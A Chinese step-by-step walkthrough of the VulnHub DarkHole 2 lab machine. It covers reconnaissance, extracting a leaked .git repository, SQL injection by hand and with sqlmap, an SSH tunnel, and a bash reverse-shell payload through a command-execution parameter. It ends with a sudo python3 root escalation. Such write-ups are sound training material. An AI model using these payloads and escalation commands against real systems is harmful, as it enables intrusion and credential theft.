VulnHub-DarkHole_2靶机实战(超详细保姆级教程)

目录

一.环境搭建

1.靶机下载

2.启动靶场

3.查看设置

4.主机发现

5.端口扫描

6.目录扫描

7.指纹收集

二.WEB渗透

1.利用.git还原代码

(1)pip安装git-dumper

(2)使用git-dumper下载git文件夹内容到Hackup文件夹:

(3)切换到hackup文件夹,查看日志

(4)对比三次提交

2.登录网页

3.SQL注入

(1)手动测试注入

(2)工具Cookie注入(拓展)

4.ssh连接

三.提权

1.查看权限

2.查看活动端口

3.查看一下本地服务的内容

4.获取losy的权限

5.反弹shell

6.登录losy用户


一.环境搭建

1.靶机下载

下载地址: DarkHole: 2 ~ VulnHub

2.启动靶场

在VMware打开刚刚下载的靶机

3.查看设置

点击导航栏的"虚拟机"->"设置"->"网络适配器"->"高级"->"MAC地址",记住这个地址并点击确定.

4.主机发现

开启kali,并进入root权限用户

sudo   -s                 #借用超级管理员身份

arp-scan   -l                 #列出所有已开启的主机IP

5.端口扫描

nmap   192.168.184.156   -p-                 #扫描该IP下的全端口

访问HTTP端口:80

192.168.184.156:80                 #访问你的 IP+端口

6.目录扫描

dirsearch   -u   "192.168.184.156:80"                 #目录扫描

可以看到,扫描到了.git文件,之后我们可以使用工具将代码还原.

7.指纹收集

whatweb   -v   192.168.184.156

二.WEB渗透

1.利用.git还原代码

主页面:主页面的login可以再操作,但我们暂时没有用户名和密码.

可以从其他地方进行突破.

/.git/:可以通过/.git/得到网页源代码

一提到.git,我们可以使用两款git泄露利用工具:githackgit-dumper。两款工具达成的效果是一致的,大家自行选择喜欢的工具即可。

本次渗透使用的是git-dumper

(1)pip安装git-dumper

pip3  install  -i  Simple Index  --trusted-host pypi.tuna.tsinghua.edu.cn git-dumper

(2)使用git-dumper下载git文件夹内容到Hackup文件夹:

git-dumper   http://192.168.184.156/.git/   hackup                 #这里记得使用自己的IP

(3)切换到hackup文件夹,查看日志

出现了三次提交,还有哈希值,作者,时间等.

(4)对比三次提交

git diff #获得当前目录上次提交和本地索引的差距,也就是你在什么地方修改了代码.

这里我们逐个尝试:

lush@admin.com

321

2.登录网页

登录页面在首页的右上角,我们使用刚刚获取到的账号密码进行尝试.

进到页面之后发现url有id=1的参数值,这里可以试一试SQL注入.

3.SQL注入

(1)手动测试注入

在url后面加单引号发现页面信息消失,说明可能存在注入点

id=1'   and   1=1  --+                 #页面无错误

id=1'   and   1=2  --+                 #页面信息消失,说明id的闭合为单引号

手动注入的话,是很基础的。详细步骤省略。

http://192.168.184.156/dashboard.php?id=-1' union select 1,2,3,4,5,group_concat(username,0x2d,password) from users --+

获取到用户名和密码:

Jehad Alqurashiasddasdasdas

321

这里得到ssh表的用户名和密码:

jehad

fool

到此,我们就可以进行ssh连接了.下面是拓展工具注入的方式.着急看结果的宝宝们可以直接移步下面的ssh连接步骤.

(2)工具Cookie注入(拓展)

获取当前用户的Cookie: "F12"->"网络"->"200"->"消息头"->"请求头"->"Cookie"

这里使用kali的SQLmap工具.

sqlmap -u http://192.168.184.156/dashboard.php?id=1 --cookie PHPSESSID=hlsb2htuuob9s86eafqjkpbh9f --current-db

这里我们获取到了数据库名:darkhole_2

我们再获取他的表名:

sqlmap -u http://192.168.184.156/dashboard.php?id=1 --cookie PHPSESSID=hlsb2htuuob9s86eafqjkpbh9f --batch -D darkhole_2 -tables

得到两个表: ssh / users

查看ssh表,用于我们后面进行ssh连接.

sqlmap -u http://192.168.184.156/dashboard.php?id=1 --cookie PHPSESSID=hlsb2htuuob9s86eafqjkpbh9f --batch -D darkhole_2 -T ssh -dump

知道ssh的用户名和密码之后,我们可以尝试ssh连接.

4.ssh连接

ssh   jehad@192.168.184.156                 #ssh 用户名@IP

三.提权

1.查看权限

id            #查看当前用户

发现我们并不是0用户(root).

2.查看活动端口

cat   .bash_history                 #查看历史命令记录

发现本地有9999端口的服务.

ss   -antp                 #查看socket统计信息

如图所示: 可以看到 127.0.0.1:9999 端口存在活动。

3.查看一下本地服务的内容

curl   "http://127.0.0.1:9999/?cmd=id"

4.获取losy的权限

重新连接登陆 ssh,将本地端口 9999 端口与远程主机端口映射,访问本地端口转发到远程主机.

ssh   jehad@192.168.184.156   -L   9999:localhost:9999

5.反弹shell

记得我们查看过9999端口运行的程序,当我们看到源代码的内容时,我们看到这允许远程命令执行。而且这个脚本属于用户losy,然后我们就可以使用 SSH 隧道连接端口 9999,然后,访问 127.0.0.1:9999 进行 RCE。大概原理就是这样。

构造连接kali的命令:

bash   -c   ‘bash -i >& /dev/tcp/192.168.184.156/9001 0>&1’       #记得修改你的IP

使用URL 16进制编码:Url 编码/解码 - 在线工具 (toolhelper.cn)

bash+-c+%e2%80%98bash+-i+%3e%26+%2fdev%2ftcp%2f192.168.184.156%2f9001+0%3e%261%e2%80%99

kali再开一个窗口进行监听:

nc   -lvnp   9001                 #监听9001端口

在kali的浏览器直接访问:

http://127.0.0.1:9999/?cmd=bash+-c+%E2%80%98bash+-i+%3E%26+%2fdev%2ftcp%2f192.168.184.156%2f9001+0%3E%261%E2%80%99

我这里反弹失败,如果看到反弹成功,就直接查看历史命令,会发现: losy的密码是gang

如果反弹失败,我们直接在浏览器输入:

http://127.0.0.1:9999/?cmd=cat%20~/.bash_history

6.登录losy用户

ssh   losy@192.168.184.156                 #登录losy用户

sudo   -l                 #查看权限

发现有root身份执行python3的权限,python提权还是比较简单的,这可能是作者见我们前面太辛苦,这里给我们一点福利吧!
开始提权:

写一个脚本,作用是打开一个shell,用户sudo执行,那么这个shell就具有root的权限:

直接一句话搞定:

sudo   python3   -c   'import os; os.setuid(0); os.system("/bin/sh")'

我们现在已经是root用户了.

成功!

评论 3
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值